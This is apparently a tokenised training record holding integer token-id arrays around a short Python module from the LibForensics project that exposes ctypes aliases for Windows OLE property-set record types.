32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1898,
7800,
710,
9134,
6642,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
3,
11148,
199,
624,
497,
19717,
892,
3519,
3621,
7482,
12505,
4789,
1041,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
199,
504,
636,
2443,
363,
492,
4629,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
504,
3228,
14,
1548,
14,
8811,
423,
5472,
14,
8811,
14,
12281,
14,
264,
19717,
492,
664,
63,
1027,
63,
1080,
199,
504,
3228,
14,
1548,
14,
8811,
423,
5472,
14,
8811,
14,
12281,
14,
264,
19717,
492,
2248,
63,
576,
199,
199,
2264,
3679,
63,
646,
199,
2264,
4629,
199,
2264,
870,
63,
1593,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
boneknuckleskin/libforensics
|
code/lf/win/ole/ps/ctypes.py
|
13
|
3684
|
# Copyright 2010 Michael Murr
#
# This file is part of LibForensics.
#
# LibForensics is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# LibForensics is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with LibForensics. If not, see <http://www.gnu.org/licenses/>.
"""Ctypes classes for record data types in lf.win.ole.ps.dtypes"""
# local imports
from lf.win.ole.ps.dtypes import (
PropertySetStreamHeader, PropertySetHeader,
PropertyIdentifierAndOffset, DictionaryEntryHeader, ArrayHeader,
ArrayDimension,
TypedPropertyValueHeader, TypedPropertyValue_VT_I2,
TypedPropertyValue_VT_R4, TypedPropertyValue_VT_R8,
TypedPropertyValue_VT_CY, TypedPropertyValue_VT_DATE,
TypedPropertyValue_VT_ERROR, TypedPropertyValue_VT_UI2,
TypedPropertyValue_VT_DECIMAL, TypedPropertyValue_VT_I1,
TypedPropertyValue_VT_UI1, TypedPropertyValue_VT_UI4,
TypedPropertyValue_VT_I8, TypedPropertyValue_VT_UI8,
TypedPropertyValue_VT_I4, TypedPropertyValue_VT_FILETIME,
TypedPropertyValue_VT_CLSID
)
__docformat__ = "restructuredtext en"
__all__ = [
"property_set_stream_header", "property_set_header",
"property_identifier_and_offset", "dictionary_entry_header",
"array_header", "array_dimension",
"typed_property_value_header", "typed_property_value_vt_i2",
"typed_property_value_vt_r4", "typed_property_value_vt_r8",
"typed_property_value_vt_cy", "typed_property_value_vt_date",
"typed_property_value_vt_error", "typed_property_value_vt_ui2",
"typed_property_value_vt_decimal", "typed_property_value_vt_i1",
"typed_property_value_vt_ui1", "typed_property_value_vt_ui4",
"typed_property_value_vt_i8", "typed_property_value_vt_ui8",
"typed_property_value_vt_i4", "typed_property_value_vt_filetime",
"typed_property_value_vt_clsid"
]
property_set_stream_header = PropertySetStreamHeader._ctype_
property_set_header = PropertySetHeader._ctype_
property_identifier_and_offset = PropertyIdentifierAndOffset._ctype_
dictionary_entry_header = DictionaryEntryHeader._ctype_
array_header = ArrayHeader._ctype_
array_dimension = ArrayDimension._ctype_
typed_property_value_header = TypedPropertyValueHeader._ctype_
typed_property_value_vt_i2 = TypedPropertyValue_VT_I2._ctype_
typed_property_value_vt_r4 = TypedPropertyValue_VT_R4._ctype_
typed_property_value_vt_r8 = TypedPropertyValue_VT_R8._ctype_
typed_property_value_vt_cy = TypedPropertyValue_VT_CY._ctype_
typed_property_value_vt_date = TypedPropertyValue_VT_DATE._ctype_
typed_property_value_vt_error = TypedPropertyValue_VT_ERROR._ctype_
typed_property_value_vt_ui2 = TypedPropertyValue_VT_UI2._ctype_
typed_property_value_vt_decimal = TypedPropertyValue_VT_DECIMAL._ctype_
typed_property_value_vt_i1 = TypedPropertyValue_VT_I1._ctype_
typed_property_value_vt_ui1 = TypedPropertyValue_VT_UI1._ctype_
typed_property_value_vt_ui4 = TypedPropertyValue_VT_UI4._ctype_
typed_property_value_vt_i8 = TypedPropertyValue_VT_I8._ctype_
typed_property_value_vt_ui8 = TypedPropertyValue_VT_UI8._ctype_
typed_property_value_vt_i4 = TypedPropertyValue_VT_I4._ctype_
typed_property_value_vt_filetime = TypedPropertyValue_VT_FILETIME._ctype_
typed_property_value_vt_clsid = TypedPropertyValue_VT_CLSID._ctype_
|
gpl-3.0
|
[
3,
1898,
7129,
16922,
603,
300,
82,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
8003,
13099,
78,
17378,
14,
199,
3,
199,
3,
8003,
13099,
78,
17378,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
8003,
13099,
78,
17378,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
844,
199,
3,
3180,
543,
8003,
13099,
78,
17378,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
624,
35,
1313,
3992,
367,
2777,
666,
2943,
315,
14642,
14,
2676,
14,
16721,
14,
1190,
14,
5717,
624,
199,
199,
3,
2257,
8925,
199,
504,
14642,
14,
2676,
14,
16721,
14,
1190,
14,
5717,
492,
334,
272,
16158,
1084,
3296,
2567,
12,
16158,
1084,
2567,
12,
272,
16158,
7544,
3325,
6397,
12,
11932,
3900,
2567,
12,
8725,
2567,
12,
272,
8725,
17905,
12,
339,
31906,
3697,
1110,
2567,
12,
31906,
3697,
1110,
63,
8156,
63,
41,
18,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
50,
20,
12,
31906,
3697,
1110,
63,
8156,
63,
50,
24,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
15068,
12,
31906,
3697,
1110,
63,
8156,
63,
5390,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
3170,
12,
31906,
3697,
1110,
63,
8156,
63,
6379,
18,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
23925,
12,
31906,
3697,
1110,
63,
8156,
63,
41,
17,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
6379,
17,
12,
31906,
3697,
1110,
63,
8156,
63,
6379,
20,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
41,
24,
12,
31906,
3697,
1110,
63,
8156,
63,
6379,
24,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
41,
20,
12,
31906,
3697,
1110,
63,
8156,
63,
5110,
10931,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
1981,
19514,
199,
9,
199,
199,
363,
21841,
363,
275,
298,
26854,
655,
2,
199,
363,
452,
363,
275,
359,
272,
298,
1829,
63,
409,
63,
1745,
63,
1291,
401,
298,
1829,
63,
409,
63,
1291,
401,
272,
298,
1829,
63,
5364,
63,
460,
63,
2743,
401,
298,
9086,
63,
2373,
63,
1291,
401,
272,
298,
1144,
63,
1291,
401,
298,
1144,
63,
7430,
401,
339,
298,
22033,
63,
1829,
63,
585,
63,
1291,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
18,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
82,
20,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
82,
24,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1480,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
602,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
705,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
18,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
6355,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
17,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
17,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
20,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
24,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
24,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
20,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
493,
521,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
429,
4148,
2,
199,
199,
61,
199,
199,
1829,
63,
409,
63,
1745,
63,
1291,
275,
16158,
1084,
3296,
2567,
423,
3667,
63,
199,
1829,
63,
409,
63,
1291,
275,
16158,
1084,
2567,
423,
3667,
63,
199,
1829,
63,
5364,
63,
460,
63,
2743,
275,
16158,
7544,
3325,
6397,
423,
3667,
63,
199,
9086,
63,
2373,
63,
1291,
275,
11932,
3900,
2567,
423,
3667,
63,
199,
1144,
63,
1291,
275,
8725,
2567,
423,
3667,
63,
199,
1144,
63,
7430,
275,
8725,
17905,
423,
3667,
63,
199,
199,
22033,
63,
1829,
63,
585,
63,
1291,
275,
31906,
3697,
1110,
2567,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
18,
275,
31906,
3697,
1110,
63,
8156,
63,
41,
18,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
82,
20,
275,
31906,
3697,
1110,
63,
8156,
63,
50,
20,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
82,
24,
275,
31906,
3697,
1110,
63,
8156,
63,
50,
24,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1480,
275,
31906,
3697,
1110,
63,
8156,
63,
15068,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
602,
275,
31906,
3697,
1110,
63,
8156,
63,
5390,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
705,
275,
31906,
3697,
1110,
63,
8156,
63,
3170,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
18,
275,
31906,
3697,
1110,
63,
8156,
63,
6379,
18,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
6355,
275,
31906,
3697,
1110,
63,
8156,
63,
23925,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
17,
275,
31906,
3697,
1110,
63,
8156,
63,
41,
17,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
17,
275,
31906,
3697,
1110,
63,
8156,
63,
6379,
17,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
20,
275,
31906,
3697,
1110,
63,
8156,
63,
6379,
20,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
24
] |
[
1898,
7129,
16922,
603,
300,
82,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
8003,
13099,
78,
17378,
14,
199,
3,
199,
3,
8003,
13099,
78,
17378,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
6401,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
8003,
13099,
78,
17378,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
6401,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
6401,
1696,
1684,
844,
199,
3,
3180,
543,
8003,
13099,
78,
17378,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
624,
35,
1313,
3992,
367,
2777,
666,
2943,
315,
14642,
14,
2676,
14,
16721,
14,
1190,
14,
5717,
624,
199,
199,
3,
2257,
8925,
199,
504,
14642,
14,
2676,
14,
16721,
14,
1190,
14,
5717,
492,
334,
272,
16158,
1084,
3296,
2567,
12,
16158,
1084,
2567,
12,
272,
16158,
7544,
3325,
6397,
12,
11932,
3900,
2567,
12,
8725,
2567,
12,
272,
8725,
17905,
12,
339,
31906,
3697,
1110,
2567,
12,
31906,
3697,
1110,
63,
8156,
63,
41,
18,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
50,
20,
12,
31906,
3697,
1110,
63,
8156,
63,
50,
24,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
15068,
12,
31906,
3697,
1110,
63,
8156,
63,
5390,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
3170,
12,
31906,
3697,
1110,
63,
8156,
63,
6379,
18,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
23925,
12,
31906,
3697,
1110,
63,
8156,
63,
41,
17,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
6379,
17,
12,
31906,
3697,
1110,
63,
8156,
63,
6379,
20,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
41,
24,
12,
31906,
3697,
1110,
63,
8156,
63,
6379,
24,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
41,
20,
12,
31906,
3697,
1110,
63,
8156,
63,
5110,
10931,
12,
272,
31906,
3697,
1110,
63,
8156,
63,
1981,
19514,
199,
9,
199,
199,
363,
21841,
363,
275,
298,
26854,
655,
2,
199,
363,
452,
363,
275,
359,
272,
298,
1829,
63,
409,
63,
1745,
63,
1291,
401,
298,
1829,
63,
409,
63,
1291,
401,
272,
298,
1829,
63,
5364,
63,
460,
63,
2743,
401,
298,
9086,
63,
2373,
63,
1291,
401,
272,
298,
1144,
63,
1291,
401,
298,
1144,
63,
7430,
401,
339,
298,
22033,
63,
1829,
63,
585,
63,
1291,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
18,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
82,
20,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
82,
24,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1480,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
602,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
705,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
18,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
6355,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
17,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
17,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
20,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
24,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
24,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
20,
401,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
493,
521,
401,
272,
298,
22033,
63,
1829,
63,
585,
63,
5941,
63,
429,
4148,
2,
199,
199,
61,
199,
199,
1829,
63,
409,
63,
1745,
63,
1291,
275,
16158,
1084,
3296,
2567,
423,
3667,
63,
199,
1829,
63,
409,
63,
1291,
275,
16158,
1084,
2567,
423,
3667,
63,
199,
1829,
63,
5364,
63,
460,
63,
2743,
275,
16158,
7544,
3325,
6397,
423,
3667,
63,
199,
9086,
63,
2373,
63,
1291,
275,
11932,
3900,
2567,
423,
3667,
63,
199,
1144,
63,
1291,
275,
8725,
2567,
423,
3667,
63,
199,
1144,
63,
7430,
275,
8725,
17905,
423,
3667,
63,
199,
199,
22033,
63,
1829,
63,
585,
63,
1291,
275,
31906,
3697,
1110,
2567,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
73,
18,
275,
31906,
3697,
1110,
63,
8156,
63,
41,
18,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
82,
20,
275,
31906,
3697,
1110,
63,
8156,
63,
50,
20,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
82,
24,
275,
31906,
3697,
1110,
63,
8156,
63,
50,
24,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1480,
275,
31906,
3697,
1110,
63,
8156,
63,
15068,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
602,
275,
31906,
3697,
1110,
63,
8156,
63,
5390,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
705,
275,
31906,
3697,
1110,
63,
8156,
63,
3170,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
1907,
18,
275,
31906,
3697,
1110,
63,
8156,
63,
6379,
18,
423,
3667,
63,
199,
22033,
63,
1829,
63,
585,
63,
5941,
63,
6355,
275,
31906,
3697,
1110,
63,
8156,
63,
23925,
423,
3667,
63,
199,
